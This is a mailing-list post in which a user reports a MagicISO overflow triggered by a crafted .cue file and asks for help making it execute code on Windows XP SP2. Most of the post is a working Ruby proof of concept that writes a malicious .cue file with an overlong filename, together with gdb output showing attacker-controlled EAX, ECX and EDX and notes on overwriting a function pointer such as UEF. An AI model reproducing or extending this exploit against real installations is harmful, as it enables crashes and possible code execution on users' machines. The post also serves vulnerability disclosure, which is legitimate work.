<<< Date Index >>>     <<< Thread Index >>>

Magic iso heap over flow <Help>



Ive found a heap over flow in magic iso when opening a .cue file..I was 
wondering if any one could point me in the right direction to exploiting this 
as we control the eax and ecx ive seen many diffrent ways of doing this 
through!peb and uef..Im looking for help in writing a simple poc  for service 
pack 2 xp as i know we cant use!peb method with sp2 im looking for a better way 
any hellp would be great.


n00b

[code]
#!/usr/bin/env ruby
###################################
#Credits to n00b for finding this bug.
#Magic iso has a stacked based buffer over-flow when 
#We pass an overly-long file name inside the .cue file
#We are able to control alot of the registers so
#Command execution is possible,But im still learning 
#Which means this will get released as a dos poc for 
#now till i can get the help i need..Any way i will provide 
#The dubug info for you to see for your self..If any one 
#Decides to write a Local exploit for this please give 
#Credits to n00b..Ok on with the work of info collecting.
#Vendor : http://www.magiciso.com/
#Tested on win xp sp2.
#I would also like to thank the people i emailed and pm about this
#Shouts:  ~  Str0ke  ~  Marsu  ~  SM  ~ Aelphaeis  ~  vade79
#              Thanx to all you guys who helped.
###################################
#...Debug info..
# Program received signal SIGSEGV, Segmentation fault.
#  [Switching to thread 1092.0x314]
# 0x0058f05e in ?? ()
# (gdb) i r
# eax            0x41414141       1094795585
# ecx            0x41414141       1094795585
# edx            0x41414141       1094795585
# ebx            0x41414545       1094796613
# esp            0x12f5c8 0x12f5c8
# ebp            0x12f5ec 0x12f5ec
# esi            0xf4e718 16049944
# edi            0xf4eb1c 16050972
# eip            0x58f05e 0x58f05e
# eflags         0x10206  66054
# cs             0x1b     27
# ss             0x23     35
# ds             0x23     35
# es             0x23     35
# fs             0x3b     59
# gs             0x0      0
# fctrl          0xffff1273       -60813
# fstat          0xffff0000       -65536
# ftag           0xffffffff       -1
# fiseg          0x0      0
# fioff          0x0      0
# foseg          0xffff0000       -65536
# fooff          0x0      0
# ---Type <return> to continue, or q <return> to quit---
# fop            0x0      0
# (gdb)
###################################
#As you can see from the debug info we control eax ecx edx..
#The two registers shown, EAX and ECX, can be populated with user supplied 
addresses which are a part of the data that 
#is used to overflow the heap buffer. One of the address can be of a function 
pointer which needs to be overwritten, for 
#example UEF and the other can be address of user supplied code that needs to 
be executed.

$VERBOSE=nil  #~ Shut the fuck up Let me do it my way ruby's over-zealous 
warnings..

Header1 =         
           "\x46\x49\x4c\x45\x20\x22"


Bof = 'A'* 2024

Header2  =   "\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20"+
                  
"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32"+
                  
"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31"+
                  "\x20\x30\x30\x3a\x30\x30\x3a\x30\x30"

n00b = Header1  + Bof + Header2
  
File.open( "MagicISO.cue", "w" ) do |the_file|

the_file.puts (n00b)

end
[/code]

Original advisory is up on milw0rm..